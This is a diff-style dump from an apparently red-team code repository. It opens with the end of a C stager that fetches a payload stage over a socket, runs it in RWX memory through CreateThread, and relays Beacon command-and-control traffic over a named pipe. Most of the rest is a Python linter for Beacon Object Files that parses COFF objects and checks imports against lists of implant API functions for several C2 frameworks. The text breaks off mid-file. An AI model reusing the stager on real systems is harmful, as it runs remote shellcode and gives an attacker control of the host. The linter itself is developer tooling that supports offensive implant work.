sendFrame(socketUDC2, (char*)"pipename=udc2_debug", 19);
|
||||
|
||||
// request our stage
|
||||
sendFrame(socketUDC2, (char*)"debugpayload", 12);
|
||||
|
||||
// receive our stage
|
||||
char* payload = (char*)VirtualAlloc(0, PAYLOAD_MAX_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
recvFrame(socketUDC2, payload, PAYLOAD_MAX_SIZE);
|
||||
|
||||
closesocket(socketUDC2);
|
||||
|
||||
// execute the payload stage in the current process
|
||||
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)payload, (LPVOID)NULL, 0, NULL);
|
||||
|
||||
// connect to our Beacon named pipe
|
||||
HANDLE handleBeacon = INVALID_HANDLE_VALUE;
|
||||
while (handleBeacon == INVALID_HANDLE_VALUE) {
|
||||
Sleep(1000);
|
||||
handleBeacon = CreateFileA("\\\\.\\pipe\\udc2_debug", GENERIC_READ | GENERIC_WRITE,
|
||||
0, NULL, OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, NULL);
|
||||
}
|
||||
|
||||
// setup our buffers
|
||||
char* buffer = (char*)malloc(BUFFER_MAX_SIZE); // 1MB should do
|
||||
char* readBuffer = (char*)malloc(BUFFER_MAX_SIZE); // 1MB should do
|
||||
|
||||
// relay frames back and forth
|
||||
while (TRUE) {
|
||||
// if Beacon exits, bail
|
||||
DWORD waitRes = WaitForSingleObject(hThread, 0);
|
||||
if (waitRes == WAIT_OBJECT_0)
|
||||
break;
|
||||
|
||||
// read from our named pipe Beacon
|
||||
DWORD read = readFrame(handleBeacon, buffer, BUFFER_MAX_SIZE);
|
||||
if (read < 0) {
|
||||
break;
|
||||
}
|
||||
|
||||
// rebuild the frame so it starts with the frame length
|
||||
char* out = (char*)malloc(read + 4);
|
||||
memcpy(out, &read, sizeof(int));
|
||||
memcpy(out + sizeof(int), buffer, read);
|
||||
|
||||
// invoke our udc2 proxy to relay the data and recv the response
|
||||
read = udc2Info.proxyCall(out, sizeof(int) + read, readBuffer, BUFFER_MAX_SIZE);
|
||||
free(out);
|
||||
if (read < 0)
|
||||
break;
|
||||
|
||||
// write to our named pipe Beacon, adjusting for frame length since
|
||||
// the proxy call returns the full frame data from the UDC2 server
|
||||
writeFrame(handleBeacon, readBuffer + sizeof(int), read - sizeof(int));
|
||||
}
|
||||
|
||||
udc2Info.proxyClose();
|
||||
// close our handles
|
||||
CloseHandle(handleBeacon);
|
||||
CloseHandle(hThread);
|
||||
free(readBuffer);
|
||||
free(buffer);
|
||||
VirtualFree(payload, 0, MEM_RELEASE);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,799 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
import sys
|
||||
import os
|
||||
import struct
|
||||
from enum import Enum, auto, IntFlag
|
||||
import argparse
|
||||
from pathlib import Path
|
||||
|
||||
###############################################################################
|
||||
# Constants and Struct Formats
|
||||
###############################################################################
|
||||
|
||||
COFF_HEADER_FORMAT = "<HHLLLHH" # 20 bytes
|
||||
COFF_HEADER_SIZE = struct.calcsize(COFF_HEADER_FORMAT)
|
||||
|
||||
SECTION_HEADER_FORMAT = "<8sLLLLLLHHL" # 40 bytes
|
||||
SECTION_HEADER_SIZE = struct.calcsize(SECTION_HEADER_FORMAT)
|
||||
|
||||
SYMBOL_FORMAT = "<8sLHHBB" # 18 bytes
|
||||
SYMBOL_SIZE = struct.calcsize(SYMBOL_FORMAT)
|
||||
|
||||
RELOCATION_FORMAT = "<LLH" # 10 bytes
|
||||
RELOCATION_SIZE = struct.calcsize(RELOCATION_FORMAT)
|
||||
|
||||
# Machine constants
|
||||
MACHINE_X86 = 0x14C # IMAGE_FILE_MACHINE_I386
|
||||
MACHINE_AMD64 = 0x8664 # IMAGE_FILE_MACHINE_AMD64
|
||||
|
||||
# Define relocation types
|
||||
class ImageRelocationType(Enum):
|
||||
IMAGE_REL_I386_ABSOLUTE = 0x0000
|
||||
IMAGE_REL_I386_DIR16 = 0x0001
|
||||
IMAGE_REL_I386_REL16 = 0x0002
|
||||
IMAGE_REL_I386_DIR32 = 0x0006
|
||||
IMAGE_REL_I386_DIR32NB = 0x0007
|
||||
IMAGE_REL_I386_SEG12 = 0x0009
|
||||
IMAGE_REL_I386_SECTION = 0x000A
|
||||
IMAGE_REL_I386_SECREL = 0x000B
|
||||
IMAGE_REL_I386_TOKEN = 0x000C
|
||||
IMAGE_REL_I386_SECREL7 = 0x000D
|
||||
IMAGE_REL_I386_REL32 = 0x0014
|
||||
|
||||
IMAGE_REL_AMD64_ABSOLUTE = 0x0000
|
||||
IMAGE_REL_AMD64_ADDR64 = 0x0001
|
||||
IMAGE_REL_AMD64_ADDR32 = 0x0002
|
||||
IMAGE_REL_AMD64_ADDR32NB = 0x0003
|
||||
IMAGE_REL_AMD64_REL32 = 0x0004
|
||||
IMAGE_REL_AMD64_REL32_1 = 0x0005
|
||||
IMAGE_REL_AMD64_REL32_2 = 0x0006
|
||||
IMAGE_REL_AMD64_REL32_3 = 0x0007
|
||||
IMAGE_REL_AMD64_REL32_4 = 0x0008
|
||||
IMAGE_REL_AMD64_REL32_5 = 0x0009
|
||||
IMAGE_REL_AMD64_SECTION = 0x000A
|
||||
IMAGE_REL_AMD64_SECREL = 0x000B
|
||||
IMAGE_REL_AMD64_SECREL7 = 0x000C
|
||||
IMAGE_REL_AMD64_TOKEN = 0x000D
|
||||
IMAGE_REL_AMD64_SREL32 = 0x000E
|
||||
IMAGE_REL_AMD64_PAIR = 0x000F
|
||||
IMAGE_REL_AMD64_SSPAN32 = 0x0010
|
||||
IMAGE_REL_AMD64_EHANDLER = 0x0011
|
||||
IMAGE_REL_AMD64_IMPORT_BR = 0x0012
|
||||
IMAGE_REL_AMD64_IMPORT_CALL = 0x0013
|
||||
IMAGE_REL_AMD64_CFG_BR = 0x0014
|
||||
IMAGE_REL_AMD64_CFG_BR_REX = 0x0015
|
||||
IMAGE_REL_AMD64_CFG_CALL = 0x0016
|
||||
IMAGE_REL_AMD64_INDIR_BR = 0x0017
|
||||
IMAGE_REL_AMD64_INDIR_BR_REX = 0x0018
|
||||
IMAGE_REL_AMD64_INDIR_CALL = 0x0019
|
||||
IMAGE_REL_AMD64_INDIR_BR_SWITCHTABLE_FIRST = 0x0020
|
||||
IMAGE_REL_AMD64_INDIR_BR_SWITCHTABLE_LAST = 0x002F
|
||||
|
||||
list_of_implant_functions_cs = [
|
||||
"BeaconDataParse",
|
||||
"BeaconDataPtr",
|
||||
"BeaconDataInt",
|
||||
"BeaconDataShort",
|
||||
"BeaconDataLength",
|
||||
"BeaconDataExtract",
|
||||
"BeaconFormatAlloc",
|
||||
"BeaconFormatReset",
|
||||
"BeaconFormatAppend",
|
||||
"BeaconFormatPrintf",
|
||||
"BeaconFormatToString",
|
||||
"BeaconFormatFree",
|
||||
"BeaconFormatInt",
|
||||
"BeaconOutput",
|
||||
"BeaconPrintf",
|
||||
"BeaconUseToken",
|
||||
"BeaconRevertToken",
|
||||
"BeaconIsAdmin",
|
||||
"BeaconGetSpawnTo",
|
||||
"BeaconInjectProcess",
|
||||
"BeaconInjectTemporaryProcess",
|
||||
"BeaconSpawnTemporaryProcess",
|
||||
"BeaconCleanupProcess",
|
||||
"toWideChar",
|
||||
"BeaconInformation",
|
||||
"BeaconAddValue",
|
||||
"BeaconGetValue",
|
||||
"BeaconRemoveValue",
|
||||
"BeaconDataStoreGetItem",
|
||||
"BeaconDataStoreProtectItem",
|
||||
"BeaconDataStoreUnprotectItem",
|
||||
"BeaconDataStoreMaxEntries",
|
||||
"BeaconGetCustomUserData",
|
||||
"BeaconGetSyscallInformation",
|
||||
"BeaconVirtualAlloc",
|
||||
"BeaconVirtualAllocEx",
|
||||
"BeaconVirtualProtect",
|
||||
"BeaconVirtualProtectEx",
|
||||
"BeaconVirtualFree",
|
||||
"BeaconGetThreadContext",
|
||||
"BeaconSetThreadContext",
|
||||
"BeaconResumeThread",
|
||||
"BeaconOpenProcess",
|
||||
"BeaconOpenThread",
|
||||
"BeaconCloseHandle",
|
||||
"BeaconUnmapViewOfFile",
|
||||
"BeaconVirtualQuery",
|
||||
"BeaconDuplicateHandle",
|
||||
"BeaconReadProcessMemory",
|
||||
"BeaconWriteProcessMemory",
|
||||
"BeaconDisableBeaconGate",
|
||||
"BeaconEnableBeaconGate",
|
||||
"GetProcAddress",
|
||||
"GetModuleHandleA",
|
||||
"GetModuleHandleW",
|
||||
"LoadLibraryA",
|
||||
"LoadLibraryW",
|
||||
"FreeLibrary"
|
||||
]
|
||||
|
||||
list_of_implant_functions_oc2 = [
|
||||
"BeaconDataParse",
|
||||
"BeaconDataInt",
|
||||
"BeaconDataShort",
|
||||
"BeaconDataLength",
|
||||
"BeaconDataExtract",
|
||||
"BeaconFormatAlloc",
|
||||
"BeaconFormatFree",
|
||||
"BeaconFormatReset",
|
||||
"BeaconFormatAppend",
|
||||
"BeaconFormatPrintf",
|
||||
"BeaconFormatToString",
|
||||
"BeaconFormatInt",
|
||||
"BeaconPrintf",
|
||||
"BeaconOutput",
|
||||
"BeaconUseToken",
|
||||
"BeaconRevertToken",
|
||||
"BeaconIsAdmin",
|
||||
"BeaconThrow",
|
||||
"BeaconInjectProcess",
|
||||
"GetProcAddress",
|
||||
"GetModuleHandleA",
|
||||
"GetModuleHandleW",
|
||||
"LoadLibraryA",
|
||||
"LoadLibraryW",
|
||||
"FreeLibrary"
|
||||
]
|
||||
|
||||
list_of_implant_functions_ci = [
|
||||
"BeaconDataParse",
|
||||
"BeaconDataPtr",
|
||||
"BeaconDataInt",
|
||||
"BeaconDataShort",
|
||||
"BeaconDataLength",
|
||||
"BeaconDataExtract",
|
||||
"BeaconFormatAlloc",
|
||||
"BeaconFormatReset",
|
||||
"BeaconFormatAppend",
|
||||
"BeaconFormatPrintf",
|
||||
"BeaconFormatToString",
|
||||
"BeaconFormatFree",
|
||||
"BeaconFormatInt",
|
||||
"BeaconOutput",
|
||||
"BeaconPrintf",
|
||||
"GetProcAddress",
|
||||
"GetModuleHandleA",
|
||||
"LoadLibraryA",
|
||||
"FreeLibrary"
|
||||
]
|
||||
|
||||
|
||||
###############################################################################
|
||||
# Classes Representing COFF Structures
|
||||
###############################################################################
|
||||
|
||||
class COFFFileHeader:
|
||||
"""
|
||||
Represents the 20-byte COFF File Header.
|
||||
"""
|
||||
__slots__ = (
|
||||
"machine", "number_of_sections", "time_date_stamp",
|
||||
"pointer_to_symbol_table", "number_of_symbols",
|
||||
"size_of_optional_header", "characteristics",
|
||||
)
|
||||
|
||||
def __init__(self, machine, number_of_sections, time_date_stamp,
|
||||
pointer_to_symbol_table, number_of_symbols,
|
||||
size_of_optional_header, characteristics):
|
||||
self.machine = machine
|
||||
self.number_of_sections = number_of_sections
|
||||
self.time_date_stamp = time_date_stamp
|
||||
self.pointer_to_symbol_table = pointer_to_symbol_table
|
||||
self.number_of_symbols = number_of_symbols
|
||||
self.size_of_optional_header = size_of_optional_header
|
||||
self.characteristics = characteristics
|
||||
|
||||
@classmethod
|
||||
def from_file(cls, f):
|
||||
data = f.read(COFF_HEADER_SIZE)
|
||||
if len(data) < COFF_HEADER_SIZE:
|
||||
raise ValueError("File too small to contain a valid COFF header.")
|
||||
|
||||
(
|
||||
machine,
|
||||
number_of_sections,
|
||||
time_date_stamp,
|
||||
pointer_to_symbol_table,
|
||||
number_of_symbols,
|
||||
size_of_opt_header,
|
||||
characteristics
|
||||
) = struct.unpack(COFF_HEADER_FORMAT, data)
|
||||
|
||||
return cls(
|
||||
machine,
|
||||
number_of_sections,
|
||||
time_date_stamp,
|
||||
pointer_to_symbol_table,
|
||||
number_of_symbols,
|
||||
size_of_opt_header,
|
||||
characteristics
|
||||
)
|
||||
|
||||
class COFFSectionHeader:
|
||||
"""
|
||||
Represents a 40-byte COFF Section Header.
|
||||
"""
|
||||
__slots__ = (
|
||||
"name", "virtual_size", "virtual_address", "size_of_raw_data",
|
||||
"pointer_to_raw_data", "pointer_to_relocations", "pointer_to_line_numbers",
|
||||
"number_of_relocations", "number_of_line_numbers", "characteristics",
|
||||
)
|
||||
|
||||
def __init__(self, name, virtual_size, virtual_address, size_of_raw_data,
|
||||
pointer_to_raw_data, pointer_to_relocations, pointer_to_line_numbers,
|
||||
number_of_relocations, number_of_line_numbers, characteristics):
|
||||
self.name = name
|
||||
self.virtual_size = virtual_size
|
||||
self.virtual_address = virtual_address
|
||||
self.size_of_raw_data = size_of_raw_data
|
||||
self.pointer_to_raw_data = pointer_to_raw_data
|
||||
self.pointer_to_relocations = pointer_to_relocations
|
||||
self.pointer_to_line_numbers = pointer_to_line_numbers
|
||||
self.number_of_relocations = number_of_relocations
|
||||
self.number_of_line_numbers = number_of_line_numbers
|
||||
self.characteristics = characteristics
|
||||
|
||||
@classmethod
|
||||
def from_file(cls, f):
|
||||
data = f.read(SECTION_HEADER_SIZE)
|
||||
if len(data) < SECTION_HEADER_SIZE:
|
||||
raise ValueError("File ended while reading section header.")
|
||||
|
||||
(
|
||||
name_bytes,
|
||||
virtual_size,
|
||||
virtual_address,
|
||||
size_of_raw_data,
|
||||
ptr_raw_data,
|
||||
ptr_relocs,
|
||||
ptr_linenums,
|
||||
num_relocs,
|
||||
num_linenums,
|
||||
characteristics
|
||||
) = struct.unpack(SECTION_HEADER_FORMAT, data)
|
||||
|
||||
# decode section name (null-terminated within 8 bytes)
|
||||
name = name_bytes.split(b'\x00', 1)[0].decode(errors='ignore')
|
||||
|
||||
return cls(
|
||||
name,
|
||||
virtual_size,
|
||||
virtual_address,
|
||||
size_of_raw_data,
|
||||
ptr_raw_data,
|
||||
ptr_relocs,
|
||||
ptr_linenums,
|
||||
num_relocs,
|
||||
num_linenums,
|
||||
characteristics
|
||||
)
|
||||
|
||||
class COFFSymbol:
|
||||
"""
|
||||
Represents an 18-byte COFF Symbol Table entry.
|
||||
"""
|
||||
__slots__ = (
|
||||
"name_raw", "value", "section_number", "type_", "storage_class",
|
||||
"number_of_aux_symbols"
|
||||
)
|
||||
|
||||
def __init__(self, name_raw, value, section_number, type_, storage_class, number_of_aux_symbols):
|
||||
self.name_raw = name_raw
|
||||
self.value = value
|
||||
self.section_number = section_number
|
||||
self.type_ = type_
|
||||
self.storage_class = storage_class
|
||||
self.number_of_aux_symbols = number_of_aux_symbols
|
||||
|
||||
@classmethod
|
||||
def from_file(cls, f):
|
||||
data = f.read(SYMBOL_SIZE)
|
||||
if len(data) < SYMBOL_SIZE:
|
||||
raise ValueError("Unexpected end of file while reading symbol.")
|
||||
|
||||
(name_bytes, value, section_number, type_, storage_class, num_aux) = \
|
||||
struct.unpack(SYMBOL_FORMAT, data)
|
||||
|
||||
return cls(
|
||||
name_raw=name_bytes,
|
||||
value=value,
|
||||
section_number=section_number,
|
||||
type_=type_,
|
||||
storage_class=storage_class,
|
||||
number_of_aux_symbols=num_aux
|
||||
)
|
||||
|
||||
class COFFRelocation:
|
||||
"""
|
||||
Represents a 10-byte COFF Relocation entry.
|
||||
"""
|
||||
__slots__ = ("virtual_address", "symbol_table_index", "type_")
|
||||
|
||||
def __init__(self, virtual_address, symbol_table_index, type_):
|
||||
self.virtual_address = virtual_address
|
||||
self.symbol_table_index = symbol_table_index
|
||||
self.type_ = type_
|
||||
|
||||
@classmethod
|
||||
def from_file(cls, f):
|
||||
data = f.read(RELOCATION_SIZE)
|
||||
if len(data) < RELOCATION_SIZE:
|
||||
raise ValueError("Unexpected end of file while reading relocation.")
|
||||
|
||||
virt_addr, sym_idx, typ = struct.unpack(RELOCATION_FORMAT, data)
|
||||
return cls(virt_addr, sym_idx, typ)
|
||||
|
||||
###############################################################################
|
||||
# Main COFF Object Container
|
||||
###############################################################################
|
||||
|
||||
class COFFObject:
|
||||
"""
|
||||
Collects a parsed COFF object file:
|
||||
- file_header (COFFFileHeader)
|
||||
- section_headers (list[COFFSectionHeader])
|
||||
- symbols (list[COFFSymbol])
|
||||
- relocations (dict[int -> list[COFFRelocation]]) indexed by section index
|
||||
- raw string table
|
||||
Provides a .lint() method to do basic checks.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.file_header = None
|
||||
self.section_headers = []
|
||||
self.symbols = []
|
||||
self.relocations = {} # section_index -> list of relocations
|
||||
self.string_table = b''
|
||||
|
||||
@classmethod
|
||||
def from_file(cls, path):
|
||||
obj = cls()
|
||||
with open(path, "rb") as f:
|
||||
# 1) Parse COFF header
|
||||
obj.file_header = COFFFileHeader.from_file(f)
|
||||
|
||||
# 2) Skip optional header if present
|
||||
sz_opt = obj.file_header.size_of_optional_header
|
||||
if sz_opt > 0:
|
||||
f.seek(sz_opt, os.SEEK_CUR)
|
||||
|
||||
# 3) Parse section headers
|
||||
for _ in range(obj.file_header.number_of_sections):
|
||||
sec = COFFSectionHeader.from_file(f)
|
||||
obj.section_headers.append(sec)
|
||||
|
||||
# 4) Parse symbols and string table
|
||||
obj._parse_symbols_and_strings(f)
|
||||
|
||||
# 5) Read relocations from each section in a second pass
|
||||
with open(path, "rb") as f:
|
||||
for i, sec in enumerate(obj.section_headers):
|
||||
rels = obj._read_relocations_for_section(f, sec)
|
||||
obj.relocations[i] = rels
|
||||
|
||||
return obj
|
||||
|
||||
def _parse_symbols_and_strings(self, f):
|
||||
"""
|
||||
Read the symbol table (18 bytes each, plus any auxiliary records),
|
||||
then read the string table if present.
|
||||
"""
|
||||
hdr = self.file_header
|
||||
if hdr.pointer_to_symbol_table == 0 or hdr.number_of_symbols == 0:
|
||||
return # no symbols
|
||||
|
||||
# Seek to the start of the symbol table
|
||||
f.seek(hdr.pointer_to_symbol_table, os.SEEK_SET)
|
||||
symbol_count = hdr.number_of_symbols
|
||||
|
||||
i = 0
|
||||
while i < symbol_count:
|
||||
sym = COFFSymbol.from_file(f)
|
||||
self.symbols.append(sym)
|
||||
|
||||
# If the symbol has auxiliary entries, skip them
|
||||
if sym.number_of_aux_symbols > 0:
|
||||
skip_count = sym.number_of_aux_symbols * SYMBOL_SIZE
|
||||
f.seek(skip_count, os.SEEK_CUR)
|
||||
i += sym.number_of_aux_symbols
|
||||
self.symbols.extend([None] * sym.number_of_aux_symbols)
|
||||
|
||||
i += 1
|
||||
|
||||
# Next 4 bytes should be the string table size
|
||||
size_data = f.read(4)
|
||||
if len(size_data) == 4:
|
||||
string_table_size = struct.unpack("<L", size_data)[0]
|
||||
if string_table_size > 4:
|
||||
remaining = string_table_size - 4
|
||||
self.string_table = f.read(remaining)
|
||||
else:
|
||||
self.string_table = b''
|
||||
|
||||
def _read_relocations_for_section(self, f, section):
|
||||
"""
|
||||
Reads relocations for a given section.
|
||||
"""
|
||||
relocs = []
|
||||
if section.pointer_to_relocations == 0 or section.number_of_relocations == 0:
|
||||
return relocs
|
||||
|
||||
f.seek(section.pointer_to_relocations, os.SEEK_SET)
|
||||
for _ in range(section.number_of_relocations):
|
||||
rel = COFFRelocation.from_file(f)
|
||||
relocs.append(rel)
|
||||
return relocs
|
||||
|
||||
def get_symbol_name(self, sym: COFFSymbol) -> str:
|
||||
"""
|
||||
Extracts the symbol name from the raw bytes.
|
||||
If the first 4 bytes are zero, the last 4 are an offset into the string table.
|
||||
Otherwise, it is an inline name (null-terminated).
|
||||
"""
|
||||
raw = sym.name_raw
|
||||
# check if first four bytes are zero
|
||||
if raw[:4] == b'\x00\x00\x00\x00':
|
||||
offset = struct.unpack("<L", raw[4:8])[0]
|
||||
# typical approach: offset - 4 from the start of self.string_table
|
||||
real_offset = offset - 4
|
||||
if real_offset < 0 or real_offset >= len(self.string_table):
|
||||
return "<invalid-offset>"
|
||||
# read until null
|
||||
sub = self.string_table[real_offset:]
|
||||
null_pos = sub.find(b'\x00')
|
||||
return sub[:null_pos].decode(errors='ignore') if null_pos != -1 else sub.decode(errors='ignore')
|
||||
else:
|
||||
# inline name
|
||||
null_pos = raw.find(b'\x00')
|
||||
return raw[:null_pos].decode(errors='ignore') if null_pos != -1 else raw.decode(errors='ignore')
|
||||
|
||||
def is_64bit(self) -> bool:
|
||||
return self.file_header.machine == MACHINE_AMD64
|
||||
|
||||
def lint(self):
|
||||
"""Perform basic lint checks and print results."""
|
||||
hdr = self.file_header
|
||||
machine = hdr.machine
|
||||
|
||||
# Print header info
|
||||
log_message(LogLevel.INFO, "=== COFF File Header ===")
|
||||
log_message(LogLevel.INFO, f" Machine: 0x{machine:04X}")
|
||||
log_message(LogLevel.INFO, f" NumberOfSections: {hdr.number_of_sections}")
|
||||
log_message(LogLevel.INFO, f" TimeDateStamp: 0x{hdr.time_date_stamp:08X}")
|
||||
log_message(LogLevel.INFO, f" PointerToSymbolTable:0x{hdr.pointer_to_symbol_table:08X}")
|
||||
log_message(LogLevel.INFO, f" NumberOfSymbols: {hdr.number_of_symbols}")
|
||||
log_message(LogLevel.INFO, f" SizeOfOptionalHeader:{hdr.size_of_optional_header}")
|
||||
log_message(LogLevel.INFO, f" Characteristics: 0x{hdr.characteristics:04X}")
|
||||
|
||||
if machine == MACHINE_X86:
|
||||
log_message(LogLevel.INFO, " -> x86 (32-bit) COFF object.n")
|
||||
elif machine == MACHINE_AMD64:
|
||||
log_message(LogLevel.INFO, " -> AMD64 (x64) COFF object.\n")
|
||||
else:
|
||||
log_message(LogLevel.ERROR, " -> Unknown or non-standard machine type.\n")
|
||||
sys.exit(1)
|
||||
|
||||
# Check sections
|
||||
log_message(LogLevel.INFO, "=== Sections ===")
|
||||
|
||||
for i, sec in enumerate(self.section_headers):
|
||||
log_message(LogLevel.INFO, f" Section[{i}]: {sec.name}")
|
||||
log_message(LogLevel.INFO, f" PointerToRelocations: 0x{sec.pointer_to_relocations:08X}")
|
||||
log_message(LogLevel.INFO, f" NumberOfRelocations: {sec.number_of_relocations}")
|
||||
log_message(LogLevel.INFO, f" Characteristics: 0x{sec.characteristics:08X}")
|
||||
log_message(LogLevel.INFO, f" VirtualSize: 0x{sec.virtual_size:08X}")
|
||||
log_message(LogLevel.INFO, f" SizeOfRawData: 0x{sec.size_of_raw_data:08X}")
|
||||
|
||||
if sec.name == ".bss" and (sec.size_of_raw_data > 0 or sec.virtual_size > 0) and loader_type not in (LoaderType.CS, LoaderType.OC2, LoaderType.CI):
|
||||
log_message(LogLevel.WARN, f"Section '{sec.name}' is present! Not all loaders support uninitialized data in a BOF.")
|
||||
elif sec.name == ".rdata" and sec.size_of_raw_data > 0 and loader_type not in (LoaderType.CS, LoaderType.OC2, LoaderType.CI):
|
||||
log_message(LogLevel.WARN, f"Section '{sec.name}' is present! Not all loaders support read-only/const data in a BOF.")
|
||||
|
||||
#elif sec.name == ".pdata" and sec.size_of_raw_data > 0 and loader_type not in (LoaderType.CS, LoaderType.OC2):
|
||||
# log_message(LogLevel.WARN, f"Section '{sec.name}' is present! This may indicate that your BOF is using exception handling, which is not supported.")
|
||||
|
||||
log_message(LogLevel.INFO, "")
|
||||
|
||||
# Symbols
|
||||
log_message(LogLevel.INFO, "=== Symbols ===")
|
||||
|
||||
allowed_entry_names = {
|
||||
LoaderType.CS: { "go", "sleep_mask", "_go", "_sleep_mask" },
|
||||
LoaderType.OC2: { "go", "_go" },
|
||||
LoaderType.CI: {"go", "_go"},
|
||||
}
|
||||
|
||||
allowed_entry_names[LoaderType.ANY] = allowed_entry_names[LoaderType.CS] | allowed_entry_names[LoaderType.OC2] | allowed_entry_names[LoaderType.CI]
|
||||
|
||||
found_entry = False
|
||||
|
||||
for i, sym in enumerate(self.symbols):
|
||||
if sym is None:
|
||||
continue # skip aux symbols
|
||||
sym_name = self.get_symbol_name(sym)
|
||||
|
||||
log_message(LogLevel.INFO, f" [{i}] Name='{sym_name}' Value=0x{sym.value:08X} "
|
||||
f"Section={sym.section_number} StorageClass={sym.storage_class}")
|
||||
|
||||
if sym_name in allowed_entry_names[loader_type] and sym.section_number > 0:
|
||||
found_entry = True
|
||||
|
||||
if "@" in sym_name:
|
||||
sym_name = sym_name.split("@", 1)[0]
|
||||
|
||||
if sym_name.startswith("__imp_"):
|
||||
sym_without_prefix = sym_name[6:] # remove __imp_
|
||||
if not self.is_64bit():
|
||||
if sym_without_prefix[0] == "_":
|
||||
sym_without_prefix = sym_without_prefix[1:]
|
||||
|
||||
if "$" in sym_without_prefix: # DFR
|
||||
# split in exact two parts, not more
|
||||
import_lib, import_func = sym_without_prefix.split("$", 1)
|
||||
if "@" in import_func:
|
||||
import_func = import_func.split("@", 1)[0]
|
||||
import_func = import_func.strip("$")
|
||||
|
||||
log_message(LogLevel.INFO, f"Imported symbol '{sym_without_prefix}' from library '{import_lib}' and function '{import_func}'")
|
||||
else:
|
||||
if loader_type == LoaderType.CS:
|
||||
if sym_without_prefix not in list_of_implant_functions_cs:
|
||||
log_message(LogLevel.ERROR, f"Imported symbol '{sym_without_prefix}' is not a recognized implant function.", LogDestination.CS)
|
||||
elif loader_type == LoaderType.OC2:
|
||||
if sym_without_prefix not in list_of_implant_functions_oc2:
|
||||
log_message(LogLevel.ERROR, f"Imported symbol '{sym_without_prefix}' is not a recognized implant function.", LogDestination.OC2)
|
||||
elif loader_type == LoaderType.CI:
|
||||
if sym_without_prefix not in list_of_implant_functions_ci:
|
||||
log_message(LogLevel.ERROR, f"Imported symbol '{sym_without_prefix}' is not a recognized implant function.", LogDestination.CI)
|
||||
else:
|
||||
if sym_without_prefix not in (list_of_implant_functions_cs + list_of_implant_functions_oc2 + list_of_implant_functions_ci):
|
||||
log_message(LogLevel.ERROR, f"Imported symbol '{sym_without_prefix}' is not a recognized implant function.")
|
||||
else:
|
||||
if sym.section_number == 0:
|
||||
unhandled = True
|
||||
|
||||
if unhandled and sym_name in ["___chkstk_ms", "__chkstk"]:
|
||||
if loader_type != LoaderType.OC2:
|
||||
log_message(LogLevel.ERROR, f"Symbol '{sym_name}' is a stack check function. You may have a stack variable that is too large.")
|
||||
unhandled = False
|
||||
|
||||
if unhandled and sym_name in ["__stack_chk_fail", "__security_init_cookie"] or "security_check_cookie" in sym_name:
|
||||
log_message(LogLevel.ERROR, f"Symbol '{sym_name}' is a stack check function. Disable stack protections.")
|
||||
unhandled = False
|
||||
|
||||
if unhandled and sym_name in ["__C_specific_handler", "__cxa_begin_catch"] or "except_handler" in sym_name or "CxxFrameHandler" in sym_name:
|
||||
log_message(LogLevel.WARN, f"Symbol '{sym_name}' is an exception handling function. This is not supported.")
|
||||
unhandled = False
|
||||
|
||||
if unhandled and sym_name in ["memset", "memmove", "memcpy"]:
|
||||
if loader_type == LoaderType.OC2:
|
||||
# OC2 shims these functions in the loader
|
||||
unhandled = False
|
||||
|
||||
if unhandled:
|
||||
log_message(LogLevel.ERROR, f"Symbol '{sym_name}' is an undefined symbol.")
|
||||
|
||||
log_message(LogLevel.INFO, "")
|
||||
|
||||
if not found_entry:
|
||||
entry_names = ', '.join(f"'{name}'" for name in allowed_entry_names[loader_type])
|
||||
log_message(LogLevel.ERROR, f"No {entry_names} entry point found in object file (required for BOF)")
|
||||
|
||||
# Relocations
|
||||
log_message(LogLevel.INFO, "=== Relocations ===")
|
||||
for i, sec in enumerate(self.section_headers):
|
||||
rels = self.relocations.get(i, [])
|
||||
if rels:
|
||||
log_message(LogLevel.INFO, f" Section[{i}] '{sec.name}' has {len(rels)} relocation(s):")
|
||||
for r in rels:
|
||||
# Symbol reference name
|
||||
sym_name = "<invalid-symbol>"
|
||||
if r.symbol_table_index < len(self.symbols):
|
||||
sym_name = self.get_symbol_name(self.symbols[r.symbol_table_index])
|
||||
|
||||
try:
|
||||
r_type = ImageRelocationType(r.type_)
|
||||
r_type_str = r_type.name
|
||||
except ValueError:
|
||||
r_type_str = f"0x{r.type_:04X}"
|
||||
|
||||
# Map relocation type to a name
|
||||
if self.is_64bit():
|
||||
# Check for allowed relocation types
|
||||
allowed_reloc_types = {
|
||||
ImageRelocationType.IMAGE_REL_AMD64_ADDR64,
|
||||
ImageRelocationType.IMAGE_REL_AMD64_ADDR32NB,
|
||||
ImageRelocationType.IMAGE_REL_AMD64_REL32,
|
||||
ImageRelocationType.IMAGE_REL_AMD64_REL32_1,
|
||||
ImageRelocationType.IMAGE_REL_AMD64_REL32_2,
|
||||
ImageRelocationType.IMAGE_REL_AMD64_REL32_3,
|
||||
ImageRelocationType.IMAGE_REL_AMD64_REL32_4,
|
||||
ImageRelocationType.IMAGE_REL_AMD64_REL32_5
|
||||
}
|
||||
if r_type not in allowed_reloc_types:
|
||||
log_message(LogLevel.WARN, f"Warning: Unexpected relocation type {r_type_str} at VA=0x{r.virtual_address:08X}")
|
||||
else:
|
||||
# Check for allowed relocation types
|
||||
allowed_reloc_types = {
|
||||
ImageRelocationType.IMAGE_REL_I386_DIR32,
|
||||
ImageRelocationType.IMAGE_REL_I386_REL32
|
||||
}
|
||||
if r_type not in allowed_reloc_types:
|
||||
log_message(LogLevel.WARN, f"Warning: Unexpected relocation type {r_type_str} at VA=0x{r.virtual_address:08X}")
|
||||
|
||||
|
||||
log_message(LogLevel.INFO, f" VA=0x{r.virtual_address:08X}, "
|
||||
f"SymIdx={r.symbol_table_index} ({sym_name}), "
|
||||
f"Type={r_type_str}")
|
||||
log_message(LogLevel.INFO, "")
|
||||
|
||||
###############################################################################
|
||||
# Command-line Entry Point
|
||||
###############################################################################
|
||||
|
||||
class LogLevel(Enum):
|
||||
INFO = auto()
|
||||
WARN = auto()
|
||||
ERROR = auto()
|
||||
|
||||
class LogDestination(IntFlag):
|
||||
NONE = 0
|
||||
CS = auto() # Cobalt Strike BOFs
|
||||
OC2 = auto() # OC2 BOFs
|
||||
CI = auto() # Core Impact BOFs
|
||||
ALL = CS | OC2 | CI # All BOF types
|
||||
|
||||
class LogFormat(Enum):
|
||||
